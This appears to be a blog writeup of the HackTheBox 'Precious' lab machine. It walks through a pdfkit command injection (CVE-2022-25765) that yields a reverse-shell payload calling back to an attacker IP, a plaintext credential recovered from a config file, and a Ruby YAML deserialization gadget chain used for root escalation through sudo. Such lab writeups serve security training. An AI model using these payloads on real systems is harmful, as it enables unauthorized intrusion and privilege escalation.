Featured image of post Precious

Precious

HTB Precious box writeup

Cover photo by https://unsplash.com/@enginakyurt

Enumeration

Target IP: 10.10.11.189

Start with nmap scan

1
 nmap -sV 10.10.11.189 -oN nmap.out

SSH and HTTP are running.

HTTP

Open in browser

We get redirected to virtual host running with the name “precious.htb”

Add precious.htb to /etc/hosts and reload the page.

We get a webpage which converts a website into pdf.

Let’s give it a sample by hosting a simple webserver with python.

Downloaded the pdf with the name converted.pdf

Investigate the metadata if we can get anything

From the last row, we can verify that this PDF was generated with the program named pdfkit v0.8.6

There’s a CVE-2022-25765 published, which states that this version of pdfkit is vulnerable to command injection. For more info about CVE-2022-25765

Foothold & User flag

Setup a listener on port 7777

Payload

http://10.10.14.6/?name=#{'%20`/bin/bash -c "bash -i >& /dev/tcp/10.10.14.6/7777 0>&1"`'}

Click submit and we are in.

Navigate to /home

There are two users on this system. Navigate to ruby’s home directory.

The user flag is not in ruby’s home dir. Then it must be in henry’s.

Lateral Movement

One simple thing we can try to find any leads to get henry’s credential is to search for any files that contain the username henry. Let’s give it a try in ruby’s home directory.

Found one in .bundle/config file

henry:Q3c1AqGHtoI0aXAYFH

Log into henry’s account.

We are now henry.

We got the user flag.

Privesc & Root flag

Check if henry has a sudo privilege.

Henry can run sudo without the password to run update_dependencies.rb. There might be an another vulnerability.

The directory structure.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end

The content of update_dependencies.rb. This ruby script reads the content from the file dependencies.yml and does some version comparison.

1
2
yaml: 0.1.1
pdfkit: 0.8.6

And this is a sample dependencies.yml.

The vulnerability exists in line 10, where it loads the content from the file dependencies.yml. When it references the file name, it is not written in the form of absolute path. Since it’s stated in the form of relative path, we can take advantage of this by creating our own dependencies.yml file in our own directory. To simply put, we have the control over dependencies.yml file.

We will put malicious contents in our own dependencies.yml, referencing this resource.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: id
         method_id: :resolve

Created a malicious yaml file in henry’s home directory which runs the command id in line 18.

Check the result.

It prints out a whole bunch of errors, but if you look closely, our command id is executed with the root’s privilege. The ruby script looks for a file dependencies.yml in the location where the script was executed. Since we executed the script in henry’s home directory, it will look for dependencies.yml in henry’s home directory, which is our malicious payload. It is why it’s important to state commands or names of files in the form of absolute path so that it executes or loads file from the intended location.

We can achieve a root shell by changing line 18 in our dependencies.yml file.

Put /bin/bash instead of id

Excute again.

And we got a root shell.

The root flag.

Machine pwned.

comments powered by Disqus
Built with Hugo
Theme Stack designed by Jimmy